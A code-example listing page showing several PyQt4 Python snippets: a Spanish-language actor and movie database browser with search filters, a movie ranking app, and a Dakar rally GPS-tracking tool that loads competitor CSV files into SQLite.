        Trabaja solo en una grilla a la vez, para esto reconoce en que Tab se
        encuentra para solamente modificar los datos de esa grilla.
        """
        indexTab = self.ui.tabWidget.currentIndex()
        # Grilla de actores
        if indexTab is 0:
            self.proxyModelActor.setSourceModel(model)

            # Designamos los header de la grilla y sus respectivos anchos
            for col, h in enumerate(self.columna_actor):
                model.setHeaderData(col, QtCore.Qt.Horizontal, h[0])
                self.ui.actoresTreeView.setColumnWidth(col, h[1])

            self.ui.buscarAPeliculaComboBox.clear()
            self.comboBoxTabActor()
        # Grilla de películas
        else:
            self.proxyModelMovie.setSourceModel(model)

            # Designamos los header de la grilla y sus respectivos anchos
            for col, h in enumerate(self.columna_pelicula):
                model.setHeaderData(col, QtCore.Qt.Horizontal, h[0])
                self.ui.peliculasTreeView.setColumnWidth(col, h[1])

            self.ui.buscarPActorComboBox.clear()
            self.comboBoxTabPeliculas()

    def loadTableData(self, parent):
        """
        Llama a los métodos respectivos para llenar ambas grillas en la app.
        Reconoce cual es la grilla que se quiere ver para llenarla al momento
        de mostrarla.
        Para reconocer la grilla verifica en que Tab se encuentra:
            Primer Tab: Actores
            Segundo Tab: Películas
        """
        self.tipoModel = parent

        indexTab = self.ui.tabWidget.currentIndex()  # Obtiene el Tab
        if indexTab is 0:
            model = self.loadActors(parent)
        else:
            model = self.loadMovies(parent)

        return model

    def changedTab(self):
        """
        Al cambiar de Tab en la app ordena que se actualice el Tab completo
        al que nos trasladamos.
        """
        self.setSourceModel(self.loadTableData(self.tipoModel))

    def setSignals(self):
        # Signals TabActor
        self.ui.actoresTreeView.clicked.connect(self.infoClick)
        self.ui.actoresTreeView.activated.connect(self.infoClick)
        self.ui.buscarANombreLineEdit.textChanged.connect(
            self.filtrarActorNombre)
        self.ui.buscarAPeliculaComboBox.currentIndexChanged.connect(
            self.filtrarActorPorPelicula)
        self.ui.nuevoAButton.clicked.connect(self.nuevoActor)

        #Signals TabPelicula
        self.ui.peliculasTreeView.clicked.connect(self.infoClick)
        self.ui.peliculasTreeView.activated.connect(self.infoClick)
        self.ui.buscarPNombreLineEdit.textChanged.connect(
            self.filtrarPeliculaNombre)
        self.ui.buscarPActorComboBox.currentIndexChanged.connect(
            self.filtrarPeliculaPorActor)

    ########################################################################
    #################### Estructuración del Tab Actores ####################
    ########################################################################

    def loadActors(self, parent):
        actores = controller.actor()
        row = len(actores)

        model = QtGui.QStandardItemModel(row, len(self.columna_actor), parent)

        for i, data in enumerate(actores):
            row = [data[1], data[2], data[3]]
            for j, field in enumerate(row):
                index = model.index(i, j, QtCore.QModelIndex())
                model.setData(index, field)

        return model

    def comboBoxTabActor(self):
        """
        Rellena el comboBox que se ubica en el Tab Actor (principal) con todas
        las películas que se encuentran en la base de datos para luego
        utilizarlas para filtrar el contenido de la grilla.
        """
        peliculas = controller.pelicula()
        self.ui.buscarAPeliculaComboBox.insertItem(0, u"Todas")
        for i, data in enumerate(peliculas):
            self.ui.buscarAPeliculaComboBox.insertItem(i + 1, data[1])

    def infoClick(self):
        indexTab = self.ui.tabWidget.currentIndex()
        if indexTab is 0:
            # Estamos en el Tab Actores
            index = self.ui.actoresTreeView.currentIndex()  # n° fila tabla
            model = self.ui.actoresTreeView.model()

            nombre = model.index(index.row(), 0, QtCore.QModelIndex()).data()
            a = controller.obtenerActor(nombre)

            imagenes = os.listdir("imgActor/")
            foto = str(a.id_actor) + ".jpg" in imagenes
            if foto is True:
                direccion = "imgActor/{}".format(str(a.id_actor) + ".jpg")
            else:
                direccion = "imgActor/{}".format(str(a.id_actor) + ".png")

            self.ui.actorImagenLabel.setPixmap(QtGui.QPixmap(direccion))

        else:
            # Estamos en el Tab Películas
            index = self.ui.peliculasTreeView.currentIndex()  # n° fila tabla
            model = self.ui.peliculasTreeView.model()

            nombre = model.index(index.row(), 0, QtCore.QModelIndex()).data()
            p = controller.obtenerPelicula(nombre)

            imagenes = os.listdir("imgPelicula/")
            caratula = str(p.id_pelicula) + ".jpg" in imagenes
            if caratula is True:
                direccion = "imgPelicula/{}".format(str(p.id_pelicula) + ".jpg")
            else:
                direccion = "imgPelicula/{}".format(str(p.id_pelicula) + ".png")

            self.ui.peliculaImagenLabel.setPixmap(QtGui.QPixmap(direccion))

            self.ui.tramaPLabel.setText(p.descripcion)

    def filtrarActorNombre(self):
        self.ui.actorImagenLabel.setPixmap(QtGui.QPixmap(""))  # Oculta la img

        self.proxyModelActor.setFilterKeyColumn(0)
        regExp = QtCore.QRegExp(self.ui.buscarANombreLineEdit.text(),
                QtCore.Qt.CaseInsensitive, QtCore.QRegExp.RegExp)

        self.proxyModelActor.setFilterRegExp(regExp)

    def filtrarActorPorPelicula(self):
        self.ui.actorImagenLabel.setPixmap(QtGui.QPixmap(""))

        index = self.ui.buscarAPeliculaComboBox.currentIndex()

        if (index != 0):
            nombre = self.ui.buscarAPeliculaComboBox.itemText(index)
            pelicula = controller.obtenerPelicula(nombre)  # Info de la pelicula
            actores = controller.actoresDeLaPelicula(pelicula.id_pelicula)
            actoresAFiltrar = ""

            for i, data in enumerate(actores):
                row = data[0]
                if i == len(actores) - 1:
                    actoresAFiltrar += row[1]
                else:
                    actoresAFiltrar += row[1] + "|"

            if actoresAFiltrar is "":
                actoresAFiltrar = u"@~@"

        else:
            self.proxyModelActor.setFilterKeyColumn(0)
            actoresAFiltrar = u'|'

        actoresFiltrados = QtCore.QRegExp(
            actoresAFiltrar, QtCore.Qt.CaseInsensitive, QtCore.QRegExp.RegExp)
        self.proxyModelActor.setFilterRegExp(actoresFiltrados)

    def nuevoActor(self):
        form = FormularioPelicula()
        form.exec_()
        self.setSourceModel(self.loadTableData(self.tipoModel))

    ########################################################################
    ################### Estructuración del Tab Películas ###################
    ########################################################################

    def loadMovies(self, parent):
        """
        Carga desde la base de datos todas las peliculas y su información a la
        grilla del TabActores.
        """
        peliculas = controller.pelicula()
        row = len(peliculas)

        model = QtGui.QStandardItemModel(row,
            len(self.columna_pelicula), parent)

        for i, data in enumerate(peliculas):
            row = [data[1], data[2], data[3], data[4]]
            for j, field in enumerate(row):
                index = model.index(i, j, QtCore.QModelIndex())
                model.setData(index, field)

        return model

    def comboBoxTabPeliculas(self):
        """
        Rellena el comboBox que se ubica en el Tab Peliculas (secundario)
        con todos los actores que se encuentran en la base de datos para luego
        utilizarlos para filtrar el contenido de la grilla.
        """
        actores = controller.actor()
        self.ui.buscarPActorComboBox.insertItem(0, u"Todos")
        for i, data in enumerate(actores):
            self.ui.buscarPActorComboBox.insertItem(i + 1, data[1])

    def filtrarPeliculaNombre(self):
        """
        Filtra por nombre de la película mientras se va escribiendo en el
        lineEdit.
        """
        self.ui.peliculaImagenLabel.setPixmap(QtGui.QPixmap(""))
        self.ui.tramaPLabel.clear()
        #self.ui.buscarPActorComboBox.setCurrentIndex(0)

        self.proxyModelMovie.setFilterKeyColumn(0)
        regExp = QtCore.QRegExp(self.ui.buscarPNombreLineEdit.text(),
                QtCore.Qt.CaseInsensitive, QtCore.QRegExp.RegExp)

        self.proxyModelMovie.setFilterRegExp(regExp)

    def filtrarPeliculaPorActor(self):
        """
        Filtra las películas por el actor que participo en ellas luego de
        seleccionar dicho actor desde el comboBox en el Tab de las Películas.
        """
        self.ui.peliculaImagenLabel.setPixmap(QtGui.QPixmap(""))
        self.ui.tramaPLabel.clear()
        #self.ui.buscarPNombreLineEdit.clear()

        index = self.ui.buscarPActorComboBox.currentIndex()
        if (index != 0):
            nombre = self.ui.buscarPActorComboBox.itemText(index)
            actor = controller.obtenerActor(nombre)  # Info del Actor
            peliculas = controller.peliculasDelActor(actor.id_actor)
            peliculasAFiltrar = ""

            for i, data in enumerate(peliculas):
                row = data[0]
                if i == len(peliculas) - 1:
                    peliculasAFiltrar += row[1]
                else:
                    peliculasAFiltrar += row[1] + "|"

            if peliculasAFiltrar is "":
                peliculasAFiltrar = u"@~@"

        else:
            self.proxyModelMovie.setFilterKeyColumn(0)
            peliculasAFiltrar = u'|'

        peliculasFiltradas = QtCore.QRegExp(
            peliculasAFiltrar, QtCore.Qt.CaseInsensitive, QtCore.QRegExp.RegExp)
        self.proxyModelMovie.setFilterRegExp(peliculasFiltradas)
コード例 #59
0
class Movies(QtGui.QMainWindow):
    """Clase principal del programa"""
    table_columns =(
        (u"Titulo",100),
        (u"Director",150),
        (u"Pais",100),
        (u"Ranking",75) )

    def __init__(self):
        """Cosntructor del programa"""
        super(Movies, self).__init__()
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.centerWindow()
        self.loadMovies()
        self.setSignals()
        self.show()

    def centerWindow(self):
        """Funcion que centra la interfaz grafica en la pantalla"""
        qr = self.frameGeometry()
        cp = QtGui.QDesktopWidget().availableGeometry().center()
        qr.moveCenter(cp)
        self.move(qr.topLeft())

    def loadMovies(self):
        """Funcion que carga la base de datos en la interfaz"""
        movies = controller.obtener_movies()
        row = len(movies)
        model = QtGui.QStandardItemModel(
            row, len(self.table_columns))
        self.ui.tableView.setModel(model)
        self.ui.tableView.horizontalHeader().setResizeMode(0,
            self.ui.tableView.horizontalHeader().Stretch)

        for col, h in enumerate(self.table_columns):
            model.setHeaderData(col, QtCore.Qt.Horizontal, h[0])
            self.ui.tableView.setColumnWidth(col, h[1])

        for i, data in enumerate(movies):
            row = [data[1], data[4], data[5], data[8]]
            for j, field in enumerate(row):
                index = model.index(i, j, QtCore.QModelIndex())
                model.setData(index, field)

    def setSignals(self):
        self.ui.tableView.clicked.connect(self.infoMovies)
        self.ui.likeButton.clicked.connect(self.rankingUp)
        self.ui.unlikeButton.clicked.connect(self.rankingDown)

    def infoMovies(self):
        index = self.ui.tableView.currentIndex()
        model = self.ui.tableView.model()
        codigo = model.index(index.row(), 3, QtCore.QModelIndex()).data()
        pelicula = controller.infoFila(codigo)

        direccion = "imgCine/{0}".format(pelicula[1])
        self.ui.imgLabel.setPixmap(QtGui.QPixmap(direccion))

        title = "{0} \n{1}, {2}".format(pelicula[0], pelicula[2], pelicula[3])
        self.ui.titleLabel.setText(title)

        plot = pelicula[6]
        self.ui.infoLabel.setText(plot)

        starring = pelicula[5].split("|")
        self.ui.starringLabel.setText(starring[0])

    def rankingUp(self):
        index = self.ui.tableView.currentIndex()
        if index.row() == -1:  # No se ha seleccionado una fila
            errorQMessageBox = QtGui.QMessageBox()
            errorQMessageBox.setWindowTitle("ERROR!")
            errorQMessageBox.setText("Debe seleccionar una fila")
            errorQMessageBox.exec_()
        else:
            model = self.ui.tableView.model()
            index = self.ui.tableView.currentIndex()
            codigo = model.index(index.row(), 3, QtCore.QModelIndex()).data()
            if (codigo != 1):
                codigo2 = model.index(index.row()-1, 3, QtCore.QModelIndex()).data()
                valores = controller.infoFila(codigo)
                valores2 = controller.infoFila(codigo2)
                controller.subir(codigo, valores2)
                controller.subir(codigo2, valores)
            else:
                errorQMessageBox = QtGui.QMessageBox()
                errorQMessageBox.setWindowTitle("ERROR!")
                errorQMessageBox.setText(u"Esta pelicula no puede subir más")
                errorQMessageBox.exec_()

        self.loadMovies()

    def rankingDown(self):
        index = self.ui.tableView.currentIndex()
        if index.row() == -1:  # No se ha seleccionado una fila
            errorQMessageBox = QtGui.QMessageBox()
            errorQMessageBox.setWindowTitle("ERROR!")
            errorQMessageBox.setText("Debe seleccionar una fila")
            errorQMessageBox.exec_()
        else:
            model = self.ui.tableView.model()
            index = self.ui.tableView.currentIndex()
            codigo = model.index(index.row(), 3, QtCore.QModelIndex()).data()
            if (codigo != 7):
                codigo2 = model.index(index.row()+1, 3, QtCore.QModelIndex()).data()
                valores = controller.infoFila(codigo)
                valores2 = controller.infoFila(codigo2)
                controller.subir(codigo, valores2)
                controller.subir(codigo2, valores)
            else:
                errorQMessageBox = QtGui.QMessageBox()
                errorQMessageBox.setWindowTitle("ERROR!")
                errorQMessageBox.setText(u"La pelicula esta al tope de lo profundo")
                errorQMessageBox.exec_()

        self.loadMovies()
コード例 #60
0
ファイル: run.py プロジェクト: rbistolfi/gps-tracking
class Principal(QMainWindow):
	def __init__(self):
		QMainWindow.__init__(self)
		self.conn = None
		self.cursor = None
		self.minMoto = 0
		self.maxMoto = 0
		self.minQuad = 0
		self.maxQuad = 0
		self.minCar = 0
		self.maxCar = 0
		self.tmpCountFile = []
		self.countZone = []
		self.mainWindow = Ui_MainWindow()
		self.mainWindow.setupUi(self)
		self.db = DataBase()
		self.db.open('dakar.sqlite')
		
		self.countZones()
		self.countVehicles()
		self.path()
		self.mainTable()
		#self.inputFiles()

		
		self.mainWindow.tblData.resizeRowsToContents()
		self.mainWindow.tblData.setColumnWidth(1, 70)
		self.mainWindow.lblWpt.setAlignment(Qt.AlignHCenter)
		self.mainWindow.lblDz.setAlignment(Qt.AlignHCenter)

		self.ctimer = QTimer()
		self.ctimer.start(10000)
		self.mainWindow.actionCategory.triggered.connect(self.openCategoryWindow)
		self.mainWindow.actionDirectoryPath.triggered.connect(self.searchPath)
		self.mainWindow.actionEditZone.triggered.connect(self.openEditZone)
		self.mainWindow.actionDeleteData.triggered.connect(self.deleteData)

		self.connect(self.ctimer,SIGNAL("timeout()"), self.checkNewFile)
		self.mainWindow.tblGralStatus.cellClicked.connect(self.otherTable)
		self.mainWindow.tblGralStatus.cellChanged.connect(self.saveCell)
		self.connect(self.mainWindow.btnExit,SIGNAL('clicked()'),self.exit)

	def path(self):
		f = open('path.txt')
		path = f.readline()
		self.mainWindow.lblPath.setText("Current Path: " + path)

	def exit(self):
		exit()

	def countZones(self):
		check = self.db.countZone()
		for i in check:
			self.countZone.append(i[0])
	
	def mainTable(self):
		"""Show the main table. Search data from sqlite
		"""
		rows = self.db.get_tables()
		self.mainWindow.tblGralStatus.setRowCount(len(rows))

		for i,table in enumerate(rows):
			for m,data in enumerate(table):
				if m != 0:
					self.mainWindow.tblGralStatus.setItem(i,m - 1,QTableWidgetItem(str(data).decode("utf-8")))
					if str(data) == 'OK':
						color = QColor(133, 222, 84)
					elif str(data) == 'NOK':
						color = QColor(255, 64, 16)
					else:
						color = QColor("white")
					self.mainWindow.tblGralStatus.item(i, m - 1).setBackground(QColor(color))
					self.mainWindow.tblGralStatus.item(i, m - 1).setTextAlignment(Qt.AlignCenter)
		self.mainWindow.tblGralStatus.resizeColumnsToContents()
		self.mainWindow.tblGralStatus.resizeRowsToContents()
		self.mainWindow.tblGralStatus.setColumnWidth(1,100)
		self.mainWindow.tblGralStatus.setColumnWidth(10,308)	
		self.mainWindow.tblGralStatus.setSortingEnabled(True)
		
				

	def openCategoryWindow(self):
		"""Open the windows who´s conteins the parameter of category
		"""
		mainWindow = CategoryParam().exec_()

	def openEditZone(self):
		mainWindow = EditZone().exec_()

	def searchPath(self):
		"""Search the path where are the files .csv
		"""
		dir_ = QFileDialog.getExistingDirectory(None, 'Select a folder:', 'C:\\', QFileDialog.ShowDirsOnly)
		f = open('path.txt','w')
		f.write(dir_)
		f.close()
		self.mainWindow.lblPath.setText("Current Path: " + dir_)
		self.inputFiles()
	
	def inputFiles(self):
		"""This section open each .csv file, look in BD if this competitor alredy exist and
		if not, its add it into BD, then call mainTable
		"""
		f = open('path.txt')
		path = f.readline()
		self.mainWindow.lblPath.setText("Current Path: " + path)
		allFiles = glob.glob(path + "/*.csv")
		self.tmpCountFile = allFiles

		findWord = False

		for q,oneFile in enumerate(allFiles):
			zonePassed = []
			f = open( oneFile, 'r')
			allData = f.readlines()
			#try:
			numCompetitorStr = allData[2].split(";")[1]
			numCompetitor = re.sub("\D", "", numCompetitorStr)
			try:
				check = self.db.getDataCompetitor(int(numCompetitor))
			except:
				check = False
			if check == None:
				nameCompetitor = " "
				
				category = "Moto"
				if int(numCompetitor) >= self.minMoto and int(numCompetitor) <= self.maxMoto:
					category = "Moto"
				elif int(numCompetitor) >= self.minQuad and int(numCompetitor) <= self.maxQuad:
					category = "Quad"
				elif int(numCompetitor) >= self.minCar and int(numCompetitor) <= self.maxCar:
					category = "Car"
				if int(allData[8].split(";")[1]) == 0:
					wpt = "OK"
				else:
					wpt = "NOK"
				if int(allData[10].split(";")[1]) == 0:
					disc = "OK"
				else:
					disc = "NOK"
				try:
					if int(allData[15].split(";")[1]) == 0:
						dz = "OK"
				except:
					dz = "NOK"
					dzDismiss = allData[15].split(";")
					for i,dzValue in enumerate(dzDismiss):
						if i !=0:
							self.db.insertDz(int(numCompetitor),dzValue)
							
				codNum = int(allData[5].split(";")[1])
				version = "2.0"
				gpsNumber = allData[3].split(";")[1]
				obs = " "
				self.db.insertData(int(numCompetitor),nameCompetitor,category,wpt,dz,disc,codNum,version,gpsNumber,obs)
				for line in allData:
					try:
						if findWord:
							tmpnum = line.split(";")[3]
							num = tmpnum.split(":")[1]
							zonePassed.append(int(num))
						if line.startswith('InfosChronos') :
							findWord = True
					except:
						pass
				zoneDismiss = list(set(self.countZone) - set(zonePassed))
				for a in zoneDismiss:
					self.db.insertZoneDismiss(numCompetitor,a)
			#except:
				#pass
					
		self.countVehicles()
		self.mainTable()

	def countVehicles(self):
		"""Count how many different vehicle exist and count each of them, then show it on 
		a text area
		"""
		rows = self.db.get_category()

		self.minMoto = rows[0][2]
		self.maxMoto = rows[0][3]
		self.minQuad = rows[1][2]
		self.maxQuad = rows[1][3]
		self.minCar = rows[2][2]
		self.maxCar = rows[2][3]

		countMoto = 0
		countQuad = 0
		countCar = 0

		rows = self.db.get_tables()
		for row in rows:
			if row[1] >= self.minMoto and row[1] <= self.maxMoto:
				countMoto += 1
			elif row[1] >= self.minQuad and row[1] <= self.maxQuad:
				countQuad += 1
			elif row[1] >= self.minCar and row[1] <= self.maxCar:
				countCar += 1
		self.mainWindow.lnCountMoto.setText(str(countMoto))
		self.mainWindow.lnCountQuad.setText(str(countQuad))
		self.mainWindow.lnCountCar.setText(str(countCar))
	def checkNewFile(self):
		"""Check if exist a new and diferent on the folder, if exist a new one then call to inputFiles
		"""
		f = open('path.txt')
		path = f.readline()
		allFiles = glob.glob(path + "/*.csv")
		#if len(allFiles) > len(self.tmpCountFile):
			#self.mainWindow.lblUpdate.setText("Hay nuevos archivos")
			#self.inputFiles()
		# else:
		# 	self.mainWindow.lblUpdate.setText(" ")

	def otherTable(self):
		"""This section complete the DR, WPT and Data table from each competitor
		"""
		rowSelected = self.mainWindow.tblGralStatus.currentIndex()
		rowDisc = self.mainWindow.tblGralStatus.item(rowSelected.row(),6)
		numCompetitor = self.mainWindow.tblGralStatus.item(rowSelected.row(),0)
		check = self.db.getDataCompetitor(int(numCompetitor.text()))

		self.mainWindow.tblData.setItem(-1,1,QTableWidgetItem(str(check[1])))
		self.mainWindow.tblData.setItem(0,1,QTableWidgetItem(str(check[10])))
		self.mainWindow.tblData.setItem(1,1,QTableWidgetItem(str(check[2]).decode("utf-8")))

		check = self.db.getDzCompetitor(int(numCompetitor.text()))
		

		if len(check) == 0:
			self.mainWindow.lstDzStatus.clear()
			self.mainWindow.lstDz.clear()
			self.mainWindow.lstDzStatus.addItem(QListWidgetItem("OK"))
			self.mainWindow.lstDzStatus.item(0).setBackground(QColor(133, 222, 84))
			self.mainWindow.lstDzStatus.item(0).setTextAlignment(Qt.AlignHCenter)
		else:
			self.mainWindow.lstDzStatus.clear()
			self.mainWindow.lstDz.clear()
			self.mainWindow.lstDzStatus.addItem(QListWidgetItem("NOK"))
			self.mainWindow.lstDzStatus.item(0).setBackground(QColor(255, 64, 16))
			self.mainWindow.lstDzStatus.item(0).setTextAlignment(Qt.AlignHCenter)
			self.mainWindow.lblWpt.setAlignment(Qt.AlignHCenter)
			for m,data in enumerate(check):
				self.mainWindow.lstDz.addItem(QListWidgetItem("%s"%str(data[0])))

		check = self.db.getZoneDismiss(int(numCompetitor.text()))
			
		
		if len(check) == 0:
			self.mainWindow.lstWptStatus.clear()
			self.mainWindow.lstWpt.clear()
			self.mainWindow.lstWptStatus.addItem(QListWidgetItem("OK"))
			self.mainWindow.lstWptStatus.item(0).setBackground(QColor(133, 222, 84))
			self.mainWindow.lstWptStatus.item(0).setTextAlignment(Qt.AlignHCenter)
		else:
			self.mainWindow.lstWpt.clear()
			self.mainWindow.lstWptStatus.clear()
			self.mainWindow.lstWptStatus.addItem(QListWidgetItem("NOK"))
			self.mainWindow.lstWptStatus.item(0).setBackground(QColor(255, 64, 16))
			self.mainWindow.lstWptStatus.item(0).setTextAlignment(Qt.AlignHCenter)
			for m,data in enumerate(check):
				self.mainWindow.lstWpt.addItem(QListWidgetItem("%s"%str(data[0])))
				self.mainWindow.lstWpt.item(m).setTextAlignment(Qt.AlignHCenter)


		self.mainWindow.lstDiscStatus.clear()
		if rowDisc.text() == 'OK':
			color = QColor(133, 222, 84)
		else:
			color = QColor(255, 64, 16)

		self.mainWindow.lstDiscStatus.addItem(QListWidgetItem(rowDisc.text()))
		self.mainWindow.lstDiscStatus.item(0).setBackground(color)
		self.mainWindow.lstDiscStatus.item(0).setTextAlignment(Qt.AlignHCenter)

	def deleteData(self):
		"""Delete al data"""
		self.tmpCountFile = []
		self.db.deleteData()
		self.countVehicles()
		self.mainTable()
		
	def saveCell(self, row, column):
		"""This is for save when put the name or any observation on the main table
		then will be saved into the BD"""
		if column == 1:
			name = self.mainWindow.tblGralStatus.item(row,column).text()
			idCompetitor = self.mainWindow.tblGralStatus.item(row,0).text()
		 	self.db.updateData("nombre",idCompetitor, name)
		elif column == 10:
			obs = self.mainWindow.tblGralStatus.item(row,column).text()
			idCompetitor = self.mainWindow.tblGralStatus.item(row,0).text()
			self.db.updateData("obs",idCompetitor, obs)